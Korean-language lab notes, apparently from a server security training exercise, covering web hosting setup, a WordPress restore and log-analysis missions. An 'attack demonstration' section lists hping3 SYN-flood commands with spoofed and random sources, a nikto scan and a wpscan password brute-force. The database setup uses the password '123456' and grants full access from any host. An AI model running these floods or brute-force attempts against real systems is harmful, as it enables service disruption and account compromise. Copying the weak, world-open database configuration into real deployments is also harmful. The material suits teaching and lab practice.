호스팅 및 보안 작업

호스팅 설정

  • bindhosting을 사용하여 호스트 추가
  • 도메인: http://competition.st.kr
  • 실행된 명령어:
    • su competition
    • 삭제된 파일: index.html, index.php

공격 시연

ping shop.st.kr (icmp) / tcp / dump
100.100.100.1 노출됨

hping3 shop.st.kr -S -i u50 -c 5
hping3 st.kr -a st.kr -S -c 100 -u 5
hping3 125.246.95.254 -a 125.246.95.254 -S -c 10
hping3 --flood --rand-source st.kr
    

로그는 shop에서 확인 가능

취약점 스캐닝

nikto -host shop.st.kr > wordpress
    

미션 1

access.log에서 100.100.100.1이 몇 번 접속 시도했는지 계산하세요.

미션 2

공격자가 실행한 명령어를 확인하세요. 이를 php.st.kr/monitor.php에서 볼 수 있도록 설정하세요.

추가 공격 명령어

wpscan --url shop.st.kr -U user.txt -P passwd.txt
    

데이터베이스 설정

CREATE DATABASE shop;
CREATE USER shop@'localhost' IDENTIFIED BY '123456';
GRANT ALL ON shop.* TO shop@'localhost';
FLUSH PRIVILEGES;

CREATE USER shop@'192.168.0.3' IDENTIFIED BY '123456';
GRANT ALL ON shop.* TO shop@'192.168.0.3';
FLUSH PRIVILEGES;

CREATE USER shop@'%' IDENTIFIED BY '123456';
GRANT ALL ON shop.* TO shop@'%';
FLUSH PRIVILEGES;
    

복원 시스템

1단계: LAMP 설치

apt -y install lamp-server^
apt -y install php8.3-fpm
a2enmod proxy_fcgi setenvif
a2enconf php8.3-fpm
systemctl restart php8.3-fpm apache2

a2enmod userdir
    

사용자 홈페이지 확인: http://XXX.XXX.XXX.XXX/~shop

2단계: 도메인 설정

문서 (p522 ~ p548)를 참고하세요.

3단계: 호스팅 설정

nano /etc/apache2/sites-available/hosting.conf
---------------------------------------------

  DocumentRoot /home/shop/public_html/wordpress
  ServerName shop.st.kr
  ServerAdmin shop@shop.st.kr
  ErrorLog /home/shop/public_html/logs/error.log
  CustomLog /home/shop/public_html/logs/access.log combined

---------------------------------------------

a2ensite hosting
    

4단계: 파일 복원

cd /home/shop/public_html
mysql -u shop -p < XXX.sql
    

복원 작업 완료!